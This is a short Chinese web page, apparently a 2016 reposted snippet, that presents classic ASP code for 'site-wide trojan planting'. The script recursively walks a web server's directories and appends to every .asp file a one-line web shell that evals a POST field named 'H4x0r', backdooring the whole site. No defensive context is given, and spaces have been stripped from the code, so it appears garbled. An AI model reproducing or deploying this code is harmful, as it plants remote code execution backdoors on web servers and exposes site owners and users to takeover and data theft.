FSO遍历目录实现全站插马的代码
发布时间:2016-12-29 来源:查字典编辑
摘要:
<%
dimph
dimintfile
server.ScriptTimeout=600
ph=server.mappath("/")
SubInsertAllFiles(Path)
SetFSO=CreateObject("Scripting.FileSystemObject")
onerrorresumenext
Setf=FSO.GetFolder(Path)
Setfc2=f.files
ForEachmyfileinfc2
Iflcase(FSO.GetExtensionName(path&""&myfile.name))="asp"then
SetFS1=CreateObject("Scripting.FileSystemObject")
Settfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline"<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
endif
tfile.close
Next
Setfsubfolers=f.SubFolders
ForEachf1infsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
settfile=nothing
SetFSO=Nothing
EndSub
%>
<%
callInsertAllFiles(ph)
%>